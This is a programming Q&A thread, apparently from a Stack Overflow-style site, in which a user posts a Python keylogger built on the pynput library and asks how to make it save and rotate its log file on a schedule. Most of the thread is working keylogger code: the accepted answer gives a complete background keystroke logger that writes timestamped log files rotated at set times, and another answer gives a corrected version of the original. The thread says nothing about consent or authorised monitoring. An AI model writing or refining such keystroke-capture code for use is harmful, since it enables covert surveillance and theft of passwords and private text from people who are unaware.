How to automatically save text file after specific time in python?

340 views Asked by At

This is my keylogger code:

import pynput
from pynput.keyboard import Key, Listener
from datetime import datetime, timedelta, time
import time

start = time.time()

now=datetime.now()
dt=now.strftime('%d%m%Y-%H%M%S')
keys=[]

def on_press(key):
    keys.append(key)
    write_file(keys)
    try:
        print(key.char)
    except AttributeError:
        print(key)

def write_file(keys):
    with open ('log-'+str(dt)+'.txt','w') as f:
        for key in keys:
            # end=time.time()
            # tot_time=end-start
            k=str(key).replace("'","")
            f.write(k.replace("Key.space", ' ').replace("Key.enter", '\n'))
            # if tot_time>5.0:
            #     f.close()
            # else:
            #     continue

with Listener(on_press=on_press) as listener:
    listener.join()

In write_file() function, I've used the close method and also the timer which should automatically save the file after 5 seconds, but that gives me a long 1 paged error whose last line says:

ValueError: I/O operation on closed file.

How do I make my program save the txt file after every 5 seconds and create a new txt file automatically?

NOTE: I actually want the log file to be generated automatically after every 4 hours so that it is not flooded with uncountable words. I've just taken 5 seconds as an example.

3

There are 3 answers

0
user3435121 On BEST ANSWER

You may have to customize the first line.

schedule = [ '08:00:00', '12:00:00', '16:00:00', '20:00:00'] # schedule for close/open file (must ascend)

import pynput
from pynput.keyboard import Listener

def on_press(key):
    txt = key.char if hasattr( key, 'char') else ( '<'+key._name_+'>')
    
    # do some conversions and concatenate to line
    if txt == '<space>': txt = ' '
    if txt == None:      txt = '<?key?>' # some keyboards may generate unknown codes for Multimedia
    glo.line += txt

    if (len(glo.line) > 50) or (txt=='<enter>'):
        writeFile( glo.fh, glo.line+'\n')
        glo.line = ''
    
def writeFile( fh, txt):
    fh.write( txt)

def openFile():
    from datetime import datetime
    dt=datetime.now().strftime('%d%m%Y-%H%M%S')
    fh = open( 'log-'+str(dt)+'.txt', 'w') # open (or reopen)
    return fh

def closeFile( fh):
    fh.close()

def closeAndReOpen( fh, line):
    if len( line) > 0:
        writeFile( fh, line+'\n')
    closeFile( fh)
    fh = openFile()
    return fh
  
class Ticker():
    def __init__( self, sched=None, func=None, parm=None):
        # 2 modes: if func is supplied, tick() will not return. Everything will be internal.
        #          if func is not supplied, it's non-blocking. The callback and sleep must be external.
        self.target = None
        self.sched = sched
        self.func = func
        self.parm = parm
  
    def selectTarget( self):
        for tim in self.sched: # select next target time (they are in ascending order)
            if tim > self.actual:
                self.target = tim
                break
        else: self.target = self.sched[0]
        self.today = (self.actual < self.target) # True if target is today.

    def tick( self):
        from datetime import datetime
        while True:
            self.actual = datetime.now().strftime( "%H:%M:%S")
            if not self.target: self.selectTarget()
            if self.actual < self.target: self.today = True
            act = (self.actual >= self.target) and self.today # True if target reached
            if act: self.target = '' # next tick will select a new target
            if not self.func: break  # Non-blocking mode: upper level will sleep and call func
            # The following statements are only executed in blocking mode
            if act: self.func( self.parm)
            time.sleep(1)
              
        return act # will return only if func is not defined
    
class Glo:
   pass

glo = Glo()
glo.fh = None
glo.line = ''
glo.fini = False

glo.fh = openFile()
listener = Listener( on_press=on_press)
listener.start()
ticker = Ticker( sched=schedule) # start ticker in non-blocking mode.

while not glo.fini:
    import time
    time.sleep(1)
    if ticker.tick():
        # time to close and reopen
        glo.fh = closeAndReOpen( glo.fh, glo.line)
        glo.line = ''

listener.stop()
writeFile( glo.fh, glo.line+'\n')
closeFile( glo.fh)
exit()

If you're satisfied, you may mark the answer as "ACCEPTed".

4
user3435121 On

The most important problem is that you did not reset the timer. After f.close(), end_time should be transferred into start_time.
Also, since you call write() for every event, there is no reason to accumulate into keys[]. Also, you never empty keys[].

7
user3435121 On

I executed your program and found 2 problems.
The first one is about the start variable. Python use different namespaces for each program or function. Since start was defined at program level, it wasn't known in the function. Commenting out your timer logic was hiding the problem. You can fix the problem with the 'global' statement.
The second one is about "with open". If you use "with open" you must not close the file yourself. If you do, "with open" will not reopen the file.
Here's a working version of your program.

import pynput
from pynput.keyboard import Key, Listener
from datetime import datetime, timedelta, time
import time

start = time.time()

now=datetime.now()
dt=now.strftime('%d%m%Y-%H%M%S')
keys=[]

def on_press(key):
    keys.append(key)
    write_file(keys)
    try:
        print(key.char)
    except AttributeError:
        print(key)

def write_file(keys, f=None):
    global start
    for key in keys:
        k=str(key).replace("'","").replace("Key.space", ' ').replace("Key.enter", '\n')

        if not f:
            f = open( 'log-'+str(dt)+'.txt', 'w') # open (or reopen)
        f.write( k)

        end=time.time()
        tot_time=end-start
        if tot_time>5.0:
            f.close()
            f = None
            start=end
        else:
            continue
    keys = []

with Listener(on_press=on_press) as listener:
    listener.join()

A nicer solution would be move the open/close logic outside the write_file() function.